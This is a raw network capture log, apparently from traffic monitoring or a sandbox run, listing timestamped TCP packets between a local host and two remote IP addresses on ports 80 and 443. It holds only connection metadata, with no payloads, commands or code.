Dec 1, 2024 03:32:58.659293890 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.659845114 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.659972906 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.660022020 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.660689116 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.660769939 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.660830975 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.661530972 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.661664963 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.661731005 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.662389040 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.662503958 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.662555933 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.663232088 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.663347006 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.663436890 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.664089918 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.664205074 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.664256096 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.664962053 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.665154934 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.665196896 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.665776968 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.665925980 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.665986061 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.666585922 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.719405890 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.731081009 CET	443	49791	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:58.731153965 CET	443	49791	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:58.731213093 CET	49791	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:58.775202990 CET	49791	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:58.775232077 CET	443	49791	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:58.775244951 CET	49791	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:58.775254965 CET	443	49791	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:58.778053045 CET	49796	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:58.778093100 CET	443	49796	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:58.778162956 CET	49796	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:58.778311014 CET	49796	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:58.778326035 CET	443	49796	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:58.823334932 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.823398113 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.823468924 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.823762894 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.823905945 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.823960066 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.824579954 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.824696064 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.824769020 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.825423956 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.825529099 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.825570107 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.826272964 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.826374054 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.826435089 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.827117920 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.827213049 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.827260971 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.827972889 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.828154087 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.828227043 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.828826904 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.828954935 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.829094887 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.829684973 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.829792976 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.829869986 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.830532074 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.830632925 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.830684900 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.831557989 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.831573009 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.831624985 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.832237959 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.832376957 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.832420111 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.833093882 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.833179951 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.833225012 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.833950043 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.834060907 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.834129095 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.834803104 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.834894896 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.835035086 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.835633039 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.835731983 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.835777044 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.836473942 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.836591005 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.836631060 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.837330103 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.837445974 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.837496042 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.838193893 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.838304043 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.838403940 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.839037895 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.839173079 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.839236975 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.839922905 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.840032101 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.840082884 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.840760946 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.840878963 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.840931892 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.841619968 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.841763973 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.841825962 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.842550039 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.842600107 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.842643976 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.843307972 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.843419075 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.843468904 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.844168901 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.844268084 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.844310045 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.844990015 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.845104933 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.845149994 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.845841885 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.845957994 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.846012115 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.846716881 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.846832037 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.846873045 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.847553015 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.847666025 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.847712994 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.848406076 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.848509073 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.848565102 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.849276066 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.849415064 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.849466085 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.850122929 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.850222111 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.850270987 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.850965977 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.851048946 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.851092100 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.851809978 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.851876974 CET	443	49792	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:58.851901054 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.851939917 CET	443	49792	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:58.851941109 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.851998091 CET	49792	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:58.853636026 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.853651047 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.853665113 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.853677988 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.853698015 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.853745937 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.854361057 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.854449034 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.854489088 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.855196953 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.855299950 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.855340004 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.856040955 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.856144905 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.856180906 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.856903076 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.857019901 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.857063055 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.857772112 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.857929945 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.857975006 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.858603954 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.858716965 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.858768940 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.859925032 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.859946012 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.860054016 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.861161947 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.861177921 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.861239910 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.862243891 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.862258911 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.862299919 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.863744020 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.863761902 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.863809109 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.864206076 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.864376068 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.864419937 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.864572048 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.864742041 CET	49792	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:58.864742041 CET	49792	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:58.864759922 CET	443	49792	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:58.864768982 CET	443	49792	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:58.864959002 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.864973068 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.865041018 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.865791082 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.865804911 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:58.865854979 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:58.874716043 CET	443	49793	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:58.874737024 CET	443	49793	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:58.874799967 CET	49793	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:58.874813080 CET	443	49793	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:58.874852896 CET	49793	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:58.897496939 CET	49793	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:58.897521973 CET	443	49793	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:58.897542953 CET	49793	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:58.897548914 CET	443	49793	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:58.952198982 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:59.025712967 CET	80	49783	185.215.113.16	192.168.2.7
Dec 1, 2024 03:32:59.078860998 CET	49783	80	192.168.2.7	185.215.113.16
Dec 1, 2024 03:32:59.135068893 CET	49797	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:59.135107040 CET	443	49797	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:59.135171890 CET	49797	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:59.150789976 CET	49797	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:59.150808096 CET	443	49797	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:59.152231932 CET	49798	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:59.152270079 CET	443	49798	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:59.152323008 CET	49798	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:59.152548075 CET	49798	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:59.152560949 CET	443	49798	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:59.571295977 CET	443	49794	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:59.571887016 CET	49794	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:59.571913958 CET	443	49794	13.107.246.63	192.168.2.7
Dec 1, 2024 03:32:59.572379112 CET	49794	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:32:59.572388887 CET	443	49794	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:00.015299082 CET	443	49794	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:00.015376091 CET	443	49794	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:00.015727997 CET	49794	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:00.015775919 CET	49794	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:00.015775919 CET	49794	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:00.015798092 CET	443	49794	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:00.015803099 CET	443	49794	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:00.018150091 CET	49799	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:00.018198013 CET	443	49799	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:00.018285990 CET	49799	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:00.018414021 CET	49799	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:00.018429995 CET	443	49799	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:00.078197956 CET	443	49795	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:00.078641891 CET	49795	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:00.078674078 CET	443	49795	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:00.079102039 CET	49795	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:00.079112053 CET	443	49795	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:00.493967056 CET	443	49796	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:00.494411945 CET	49796	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:00.494430065 CET	443	49796	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:00.494879961 CET	49796	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:00.494885921 CET	443	49796	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:00.513422966 CET	443	49795	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:00.513473034 CET	443	49795	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:00.513576984 CET	49795	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:00.513690948 CET	49795	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:00.513704062 CET	443	49795	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:00.513736010 CET	49795	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:00.513741970 CET	443	49795	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:00.516030073 CET	49800	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:00.516062975 CET	443	49800	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:00.516143084 CET	49800	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:00.516237974 CET	49800	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:00.516252041 CET	443	49800	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:00.932723999 CET	443	49797	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:00.933232069 CET	49797	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:00.933247089 CET	443	49797	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:00.933667898 CET	49797	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:00.933674097 CET	443	49797	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:00.933976889 CET	443	49796	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:00.934001923 CET	443	49796	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:00.934053898 CET	49796	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:00.934077024 CET	443	49796	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:00.934277058 CET	49796	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:00.934277058 CET	49796	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:00.934293985 CET	443	49796	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:00.934417009 CET	443	49796	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:00.934442997 CET	443	49796	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:00.934483051 CET	49796	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:00.934798956 CET	443	49798	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:00.935161114 CET	49798	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:00.935169935 CET	443	49798	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:00.935554981 CET	49798	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:00.935559988 CET	443	49798	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:00.936708927 CET	49801	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:00.936739922 CET	443	49801	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:00.936830997 CET	49801	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:00.936992884 CET	49801	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:00.937010050 CET	443	49801	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:01.382296085 CET	443	49797	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:01.382319927 CET	443	49797	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:01.382402897 CET	49797	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:01.382417917 CET	443	49797	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:01.382574081 CET	49797	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:01.382587910 CET	49797	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:01.382592916 CET	443	49797	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:01.382631063 CET	49797	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:01.382754087 CET	443	49797	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:01.382786036 CET	443	49797	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:01.382847071 CET	49797	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:01.384001017 CET	443	49798	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:01.384023905 CET	443	49798	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:01.384076118 CET	49798	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:01.384082079 CET	443	49798	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:01.384124994 CET	49798	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:01.384500027 CET	49798	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:01.384524107 CET	443	49798	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:01.384541988 CET	49798	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:01.384548903 CET	443	49798	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:01.385061026 CET	49802	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:01.385106087 CET	443	49802	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:01.385194063 CET	49802	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:01.385272980 CET	49802	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:01.385291100 CET	443	49802	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:01.386929035 CET	49803	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:01.386974096 CET	443	49803	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:01.387037992 CET	49803	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:01.387159109 CET	49803	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:01.387171984 CET	443	49803	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:01.862725019 CET	443	49799	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:01.881263971 CET	49799	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:01.881273031 CET	443	49799	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:01.882153034 CET	49799	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:01.882157087 CET	443	49799	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:02.301353931 CET	443	49800	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:02.301798105 CET	49800	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:02.301824093 CET	443	49800	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:02.302376986 CET	49800	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:02.302381992 CET	443	49800	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:02.314812899 CET	443	49799	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:02.318418026 CET	443	49799	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:02.318481922 CET	49799	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:02.318536997 CET	49799	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:02.318553925 CET	443	49799	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:02.318559885 CET	49799	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:02.318566084 CET	443	49799	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:02.321022987 CET	49804	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:02.321069002 CET	443	49804	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:02.321125031 CET	49804	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:02.321273088 CET	49804	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:02.321285009 CET	443	49804	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:02.652002096 CET	443	49801	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:02.653280020 CET	49801	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:02.653296947 CET	443	49801	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:02.653760910 CET	49801	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:02.653768063 CET	443	49801	13.107.246.63	192.168.2.7
